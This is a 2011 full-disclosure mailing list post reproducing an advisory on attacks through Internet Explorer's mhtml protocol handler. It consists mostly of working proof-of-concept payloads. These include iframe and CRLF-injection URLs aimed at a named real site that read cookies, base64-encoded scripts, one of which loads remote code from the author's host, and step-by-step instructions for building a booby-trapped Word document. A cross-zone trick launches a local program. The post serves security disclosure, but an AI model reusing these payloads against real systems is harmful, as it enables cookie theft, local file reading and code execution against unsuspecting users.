Date: Sat, 15 Jan 2011 03:01:50 -0800
From: IEhrepus <5up3rh3i@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Hacking with mhtml protocol handler

update:
"5.mhtml+file://uncpath+word == local xss vul" this way maybe work on anoher
file type like:*.pdf use app.launchURL()


2011/1/15 IEhrepus <5up3rh3i@...il.com>

> Hacking with mhtml protocol handler
>
> Author: www.80vul.com [Email:5up3rh3i#gmail.com]
> Release Date: 2011/1/15
> References:
> http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
>
> Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally
> released yesterday, There are two articles about the browser security[0x05
> and 0x06].If the combination of both, we can complete a lot of interesting
> attacks...
>
> 1.Cross Site Scripting by upload mhtml file
>
> Using the mhtml protocol handler,The file extension is ignored.so the
> attacker use renname the  mhtml file to a *.jpg file,etc. then upload it to
> the target site...
>
> ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload
> file format security restrictions
>
> then use iframe tag src to it:
>
> <iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie<http://target-site.com/upfile/demo.html%21cookie>
> "></iframe>
>
> 2.Cross Site Scripting mhtml-file string injection
>
> the mhtml-file format is only base on CRLF,so if we can injection CRLF, the
> site may be attacked.
>
> poc:
>
> test it on win7 system pls.
>
> <iframe src="mhtml:
> http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie<http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A%21cookie>"></iframe>
>
>
> if win-xp or win2k3 system,pls do it by the second urlencode.
>
> mhtml-file string injection in JOSN file, some sites restrict the JOSN
> file's Content-Type to defense xss. maybe we can use mhtml-file string
> injection to pass it :)
>
> 3.bypass X-Frame-Options
>
> X-Frame-Options did not protect the mhtml protocol handler.
>
> the demo:
>
> <iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie<http://www.80vul.com/mhtml/zz.php%21cookie>
> "></iframe>
> <iframe src="http://www.80vul.com/mhtml/zz.php"></iframe>
>
> 4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul
>
> Billy (BK) Rios introduced a very interesting approach to Steal local files
> on the RuxCon/Baythreat(
> https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used  "Script
> src to local files in the LocalLow directory" by file:// +java apple +Adobe
> Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy
> to do it.
>
> Demo:
>
> test it on win2k3+ie8+Adobe Reader 9
>
> http://www.80vul.com/hackgame/xs-g0.php?username=Administrator
>
>
> 5.mhtml+file://uncpath+word == local xss vul
>
> demo:http://www.80vul.com/mhtml/word.doc
>
> download it, and save it on c:\word.doc and open it. u can get the alert
> c:\boot.ini 's content.
>
> this is base on "Microsoft word javascript execution"(
> http://marc.info/?l=bugtraq&m=121121432823704&w=2).
>
> to make the proof of concept follow the following steps:
>
> 1-Make a html file and paste xss code
> 2-Open the html file with the word and save as c:\word.xml
> 3-Open the word.xml with the notepad,and inject the mhtml code in
> <w:t>aaaaa </w:t>
> 4-Rename c:\word.xml to c:\word.doc
> 5-Open c:\word.doc file
>
> xss code
> ---------------------------------------------------------
> <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param
> name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT>
> aaaaa
> ----------------------------------------------------------
>
> mhtml code
> --------------------------------------------------------
> /*
> Content-Type: multipart/related; boundary="_boundary_by_mere":
>
> --_boundary_by_mere
> Content-Location:cookie
> Content-Transfer-Encoding:base64
>
>
> PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
> --_boundary_by_mere--
>
> */
> --------------------------------------------------------
>
> if u use this vul to attack someone,u need to known the word file path
> where save the download file. and lots of guns used on the desktop :)
>
> "Microsoft word javascript execution" is only work on office 2k3 and 2k7,
> In other versions u can make the link, and src to
> http://www.80vul.com/hackgame/word.htm
>
> 6. Coss Zone Scripting
>
> First we would like to mention a very old vulnerability:
>
> <OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111
> CODEBASE=c:/winnt/system32/calc.exe></OBJECT>
>
> This vulnerability (by firebug9[
> http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html])
> allows you to execute any program on "My Computer" zone,Been tested and
> found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3
>
> Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and
> change:
>
> xss code
> ---------------------------------------------------------
> <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param
> name=url value=mhtml:file://c:/word.doc!cookie></OBJECT>
> aaaaa
> ----------------------------------------------------------
>
> mhtml code
> --------------------------------------------------------
> /*
> Content-Type: multipart/related; boundary="_boundary_by_mere":
>
> --_boundary_by_mere
> Content-Location:cookie
> Content-Transfer-Encoding:base64
>
>
> PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
> --_boundary_by_mere--
>
> */
> --------------------------------------------------------
>
>
> thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.
>
>
> About Ph4nt0m Webzine
>
> Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
> English and Chinese, you are welcome contributions .
> mailto:root_at_ph4nt0m.org pls.thank you!
>
>
> --
> hitest
>



-- 
hitest

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